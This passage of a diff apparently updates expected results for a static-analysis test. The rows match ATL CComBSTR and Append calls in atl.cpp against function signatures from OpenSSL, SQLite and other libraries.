BN_hex2bn | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (CONF *,const char *) | | _CONF_new_section | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (DSO *,const char *) | | DSO_convert_filename | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (DSO *,const char *) | | DSO_set_filename | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL *,const char *) | | SSL_add1_host | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL *,const char *) | | SSL_set1_host | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (STANZA *,const char *) | | test_start_file | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (UI *,const char *) | | UI_add_error_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (UI *,const char *) | | UI_add_info_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (UI *,const char *) | | UI_dup_error_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (UI *,const char *) | | UI_dup_info_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (X509 *,const char *) | | x509_ctrl_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | Configcmp | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | DES_crypt | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | get_passwd | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | openssl_fopen | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | sqlite3_strglob | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | sqlite3_stricmp | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | test_mk_file_path | 1 | | atl.cpp:414:5:414:12 | CComBSTR | (int,LPCSTR) | CComBSTR | CComBSTR | 0 | | atl.cpp:414:5:414:12 | CComBSTR | (int,LPCSTR) | CComBSTR | CComBSTR | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (int,const char *) | | BIO_meth_new | 0 | +| atl.cpp:414:5:414:12 | CComBSTR | (int,const char *) | | BIO_meth_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (lemon *,const char *) | | file_makename | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (size_t *,const char *) | | next_protos_parse | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (unsigned long *,const char *) | | set_cert_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (unsigned long *,const char *) | | set_name_ex | 1 | | atl.cpp:415:5:415:12 | CComBSTR | (LPCOLESTR) | CComBSTR | Append | 0 | | atl.cpp:415:5:415:12 | CComBSTR | (LPCOLESTR) | CComBSTR | CComBSTR | 0 | | atl.cpp:416:5:416:12 | CComBSTR | (LPCSTR) | CComBSTR | Append | 0 | | atl.cpp:416:5:416:12 | CComBSTR | (LPCSTR) | CComBSTR | CComBSTR | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | Strsafe | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | Symbol_new | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | UI_create_method | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | new_pkcs12_builder | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | opt_path_end | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | opt_progname | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | strhash | 0 | | atl.cpp:417:5:417:12 | CComBSTR | (CComBSTR &&) | CComBSTR | CComBSTR | 0 | | atl.cpp:420:13:420:18 | Append | (const CComBSTR &) | CComBSTR | Append | 0 | | atl.cpp:420:13:420:18 | Append | (const CComBSTR &) | CComBSTR | CComBSTR | 0 | @@ -31,26 +439,634 @@ signatureMatches | atl.cpp:423:13:423:18 | Append | (LPCOLESTR) | CComBSTR | CComBSTR | 0 | | atl.cpp:424:13:424:18 | Append | (LPCSTR) | CComBSTR | Append | 0 | | atl.cpp:424:13:424:18 | Append | (LPCSTR) | CComBSTR | CComBSTR | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | Strsafe | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | Symbol_new | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | UI_create_method | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | new_pkcs12_builder | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | opt_path_end | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | opt_progname | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | strhash | 0 | +| atl.cpp:425:13:425:18 | Append | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| atl.cpp:425:13:425:18 | Append | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| atl.cpp:425:13:425:18 | Append | (BIGNUM *,int) | | BN_clear_bit | 1 | +| atl.cpp:425:13:425:18 | Append | (BIGNUM *,int) | | BN_mask_bits | 1 | +| atl.cpp:425:13:425:18 | Append | (BIGNUM *,int) | | BN_set_bit | 1 | +| atl.cpp:425:13:425:18 | Append | (BIGNUM *,int) | | BN_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (BIGNUM *,int) | | bn_expand2 | 1 | +| atl.cpp:425:13:425:18 | Append | (BIGNUM *,int) | | bn_wexpand | 1 | +| atl.cpp:425:13:425:18 | Append | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| atl.cpp:425:13:425:18 | Append | (BIO *,int) | | BIO_clear_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (BIO *,int) | | BIO_find_type | 1 | +| atl.cpp:425:13:425:18 | Append | (BIO *,int) | | BIO_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (BIO *,int) | | BIO_set_init | 1 | +| atl.cpp:425:13:425:18 | Append | (BIO *,int) | | BIO_set_retry_reason | 1 | +| atl.cpp:425:13:425:18 | Append | (BIO *,int) | | BIO_set_shutdown | 1 | +| atl.cpp:425:13:425:18 | Append | (BIO *,int) | | TXT_DB_read | 1 | +| atl.cpp:425:13:425:18 | Append | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (DH *,int) | | DH_clear_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (DH *,int) | | DH_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (DSA *,int) | | DSA_clear_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (DSA *,int) | | DSA_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| atl.cpp:425:13:425:18 | Append | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| atl.cpp:425:13:425:18 | Append | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| atl.cpp:425:13:425:18 | Append | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| atl.cpp:425:13:425:18 | Append | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| atl.cpp:425:13:425:18 | Append | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| atl.cpp:425:13:425:18 | Append | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| atl.cpp:425:13:425:18 | Append | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | atl.cpp:425:13:425:18 | Append | (LPCOLESTR,int) | CComBSTR | Append | 0 | | atl.cpp:425:13:425:18 | Append | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| atl.cpp:425:13:425:18 | Append | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| atl.cpp:425:13:425:18 | Append | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| atl.cpp:425:13:425:18 | Append | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| atl.cpp:425:13:425:18 | Append | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| atl.cpp:425:13:425:18 | Append | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| atl.cpp:425:13:425:18 | Append | (RSA *,int) | | RSA_clear_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (RSA *,int) | | RSA_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| atl.cpp:425:13:425:18 | Append | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | 